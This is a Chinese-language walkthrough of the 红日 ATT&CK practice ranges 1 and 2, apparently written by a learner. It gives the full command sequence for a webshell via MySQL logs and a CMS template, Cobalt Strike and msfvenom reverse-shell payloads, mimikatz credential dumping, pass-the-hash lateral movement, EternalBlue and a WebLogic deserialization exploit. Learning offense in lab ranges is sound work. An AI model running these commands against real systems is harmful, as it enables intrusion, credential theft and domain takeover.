红日1-2
红日靶场1-2复现
红日靶场1
初始的密码都是:hongrisec@2019,我登陆时有的机器会提示我密码过期,更改密码即可。
win7:hongrisec@2019
win2008:yyb167111@
win2k3:yyb167111@
1 | win2003 192.168.52.141 |
根据前期的搭建,我们开启了win7的web服务,并且相互都ping通了,这是网上到处都有的对于各机器之间的关联拓扑图

1.外网边界突破
信息搜集
老规矩,首先使用nmap扫描一下端口
1 | nmap -A -p- 192.168.204.128 |

可以看到,80端口开放了http服务,3306端口开放了mysql服务
先访问80端口看看

再使用diresearch扫一下目录

发现有myadmin,应该是数据库面板登录界面,猜测是弱口令,直接root/root进行登录

直接进入了后台
MYSQL进行getshell
写文件getshell
先看是否额可以写入文件
1 | show global variables like '%secure%' |

为NULL不可写入文件
要想修改 Value值 只能通过配置文件 mysql.ini 修改
放弃
日志文件getshell
查看日志功能是否开启
1 | show global variables like '%general%' |

可以看到是没有开启的,下面就用命令开启日志功能
1 | set global general_log='ON' |
开启后将日志文件的存储位置改为可访问到的目录, 根目录即可
1 | set global general_log_file = 'C:/phpStudy/WWW/1.php' |

执行下边一句话木马 数据库将会将查询语句保存在日志文件中
1 | SELECT '<?php @eval($_POST["cmd"]); ?>' |

接下来访问日志文件用后门密码连接即可(日志文件刚刚已经被我们改写为了根目录下的1.php文件)

连接成功

yxcms后台上传getshell(另一种getshell的方法)
前面我们蚁剑连接shell登录进去之后发现yxcms,访问/yxcms

在公告里面发现了可以登录的账号信息

成功登录后台
既然登录到了后台,常见的就是找一下有没有模板编辑的地方,尝试写入一句话木马,或者写入日志文件

这里刚好找到了可以编辑模板的地方,进行写入一句话木马

在后台里进行查找,发现模板文件都被存放在**/yxcms/protected/apps/default/view/default/**
用蚁剑连接我们在yxcms里上传上去的木马,可以成功连接到后台
2.内网信息探测
cs上线
1 | ./teamserver 192.168.10.129 123456 |

我是将.exe文件放在windows下的,所以直接点击运行就行,但是有的小伙伴下载的ConbaltStrike只放在了kali下,使用命令来开启客户端
1 | ./start.sh |
登录密码就和kali里面所输的密码一样就是123456,登录之后进入客户端

出现上面这个界面就是连接成功了
接下来配置好listener也就是监听器之后,就可以生成.exe攻击文件了

将生成的.exe文件上传到我们蚁剑连接的后台

然后在虚拟终端执行该文件

这样就表示上线成功
右键点击上线目标选择会话交互,在下方命令输入处输入命令来使用mimikatz抓取密码
1 | logonpasswords |

可以看到成功抓取到管理员登录密码为yyb167111@
然后在会话里执行net view点击下方所勾选的图案就可以看到域内其他的两台机器

域内信息搜集
1 | net view # 查看局域网内其他主机名 |
1.先判断是否存在域,有两种方法, 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org
在cobaltstrike的交互式界面输入命令
1 | shell ipconfig /all |

1 | net config workstation |
来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

从以上的操作可以得知域的名称是.god.org
2.当前登录域为 GOD ,然后再执行net view /domain
查看有几个域(可能有多个)
3.使用net group /domain查看组用户(组账户信息)

4.确认域控主机的名字
既然只有一个域,那就 net group “domain controllers” /domain查看域控主机的名称

可以确认是OWA
5.查看域内其他主机的信息
确认域控主机的名称为 OWA 再执行 net view
查看局域网内其他主机信息(主机名称、IP地址)

到这里的域内信息搜集就结束了
1 | 域控主机:192.168.52.138(OWA) |
3.rdp远程登录win7
由于rdp协议默认端口是3389。但是win7是默认不开放3389端口的,同时防火墙也需要关闭
1 | #注册表开启3389端口 |

使用远程登录

遇到提问证书的直接跳过就行

这样就表示远程连接成功
如果MSF 中有Win7 的 Shell,只需要返回会话并执行命令run post/windows/manage/enable_rdp
即可开启靶机的远程桌面
4.内网渗透
CS派生会话给MSF
1.MSF开启监听
1 | msfconsole # 启动MSF框架 |
2.CS派生会话
首先新建一个监听器(这里端口填错了,应该和MSF的一样,填为1111)

然后在需要新建会话的那里右键点击新建会话,并选择我们最新创建的监听器
按理来说我们的MSF那边就该收到一个session会话(但是没有)
msf上线
CS执行失败,我们换一种方式来让MSF上线
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.129 LPORT=1111 -f exe -o shell.exe #kali里生成msf后门文件 shell.exe |

这样就表示上线成功
msf简单利用
1.
获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm
判断靶机是否属于虚拟机(检查是否进入了蜜罐):
1 | run post/windows/gather/checkvm |

这样的回显就表示此上线机器是一台虚拟机
2.
再如调用 post/windows/gather/enum_applications
模块枚举列出安装在靶机上的应用程序:
1 | run post/windows/gather/enum_applications |

添加路由
1 | # 可以用模块自动添加路由 |
内网端口扫描
先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:
1 | background |

可以看到打开了135、139、445三个端口
同理,扫描一下域控主机
1 | set rhosts 192.168.52.143 |

域控主机开启了80、445、135、139、3306、3389端口
5.msf对永恒之蓝漏洞进行攻击
探测
1 | search ms17_010 |

可以看出,域控和域成员机器都可能存在永恒之蓝漏洞
漏洞利用
1 | use exploit/windows/smb/ms17_010_eternalblue |

可以看到是并没有拿到shell的。
6.哈希传递攻击拿下域控
上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。
【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
下面使用 Metasploit/CS 来进行本靶场环境的进行 PTH 攻击演示:
CS哈希传递攻击利用
前面我们也有提到过,在win7 上线CS时,我们可以右键会话 ->执行 -> Run Mimikatz
直接借助 CS 进行用户哈希凭证窃取
1 | logonpasswords |

可以看到成功抓取到管理员登录密码为yyb167111@
然后在会话里执行net view点击下方所勾选的图案就可以看到域内其他的两台机器

右键点击其中一台域内机器,选择横向代理的psexec进行login,新建一个监听器,监听器payload,就选Beancon SMB,然后其他的和监听器设置一样

这样就算横向移动成功了。

点击文件浏览可以看到文件,进行文件上传操作等等
1 | shell systeminfo |

成功拿下域控
msf哈希传递工具
1 | run windows/gather/smart_hashdump 来进行hashdump |

在倒数第二行可以看到时需要system权限的
需要SYSTEM权限,我们直接getsystem 发现可以正常提权
提到SYSTEM权限之后再执行 run windows/gather/smart_hashdump

得到管理员的密码的hash
1 | [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: |
但是这个只是用户密码的一个hash值,我们在msf里加载mimikatz模块
ps:ms6中 mimikatz模块已经合并为kiwi模块
1 | load kiwi |
抓取一下用户哈希凭证,报错说 mimikatz在x64用不了。。。 不知道怎么解决 卡住了

根据这张图片获得 NTLM Hash:8da5b9365830238e064c67c6f7db9dc4,在 Metasploit 中,经常使用于哈希传递攻击的模块有:
1 | auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令 |
以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:
1 | use exploit/windows/smb/psexec |

没有成功
1 | 注:本文中用到过多次横向代理,包括最后的cs哈希传递攻击也用到了,但是用到哈希是在我们用psexec配置监听器时选择的密码那里,不同的密码选择会连接到不同的域内机 |
红日靶场2
1.环境搭建
环境搭建推荐观看b站的靶场搭建视频:【红日ATT&CK系列靶场(二)搭建】https://www.bilibili.com/video/BV1De4y1a7Ps?vd_source=3af9e69df1b8437340d7ae027cbfe38f
默认密码:
1 | 1qaz@WSX |
配置好后记一下各靶机的IP地址:
1 | DC 10.10.10.10 |
靶场的网络拓扑图如下:

2.外网边界突破
信息搜集
先扫一下web边界服务器
1 | nmap -sV 192.168.111.80 |

端口开启可能存在的服务:
1.445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。
2.开放139端口,就存在Samba服务,可能存在爆破/未授权访问/远程命令执行漏洞。
3.放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。
4.开放7001端口可能存在Weblogic反序列化漏洞。
再扫一下PC机:
1 | nmap -sV 192.168.111.201 |

漏洞扫描
awvs
用awvs扫描一下开放了80端口的web机器
工具下载安装教程:如何在 Kali Linux 上安装 AWVS? - 知乎 (zhihu.com)

扫描完成,发现了一个weblogic服务器端的ssrf漏洞,点进去看一下漏洞介绍,发现涉及到CVE-2014-4242、CVE-2014-4241、CVE-2014-4210

在网上搜索一下weblogic的服务端请求伪造漏洞,在复现文章中得知问题存在路径如下:
1 | http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp |

接下来打开我们的bp,点击search进行抓包
这里通过对网上复现文章的阅读,得知可以进行端口探测,这里的参数operator我们是可控的,当我们输入不同值时可得到多种不同的报错
1 | 1.端口存在返回状态码 returned a 404 error code |

例如
当我们访问一个不存在的端口时,比如 http://127.0.0.1:1234
将会返回:could not connect over HTTP to server

对于这个weblogic的ssrf所涉及到的CVE讲解,可以参考如下文章:
Weblogic SSRF漏洞(CVE-2014-4210)_维梓梓的博客-CSDN博客
weblogicscan
1 | python WeblogicScan.py 192.168.111.80 7001 |
虽然awvs扫描出来一个ssrf的高危,但是似乎没什么用,我们再使用专门针对weblogic的扫描器扫描一波:

可以看到目标网站存在CVE-2019-2725、CVE-2019-2729,这两个是针对不同版本的weblogic的反序列化漏洞
漏洞利用
我们知道了这个CVE,就用msf对这个CVE进行攻击:CVE-2019-2725
1 | msfconsole |

只发现了一个payload
1 | use exploit/multi/misc/weblogic_deserialize_asyncresponseservice |
不知道为什么,之前都不行,后面试了一下就成功了

拿到shell,尝试进行提权
1 | getuid |
提权失败
3.内网渗透
MSF派生CS
1 | ./teamserver 192.168.111.128 123456 |

开启客户端界面,成功连接之后创建一个监听器,payload设为Beacon HTTP

在msf进行如下操作:
1 | background 我们之前的meterprete的session id为1 |
所设端口要和我们监听器的端口一样

成功执行之后返回CS中查看

可以看到CS成功上线

点击权限提升,就使用我们之前创建的监听器,提权方式就使用他默认选择的svc-exe就行

提权成功,权限成功提升为system
域内信息搜集
1 | shell ipconfig /all |

1 | shell net user /domain #查看域控 |

1 | shell net group "domain computers" /domain # 查看域中的其他主机名 |

分别ping一下DC和PC,可以解析出主机ip地址
1 | DC 10.10.10.10 |
ping不通PC机可能是因为被防火墙的主机拦截了。

横向移动
尝试进行psexec横向移动到域控
先抓取密码:logonpasswords

首先新建一个监听器

对目标10.10.10.10(DC)进行横向移动
设置psexec


这个密码的选择就是我们上一步所抓取到的密码
DC主机成功上线

到这里就已经拿下域控了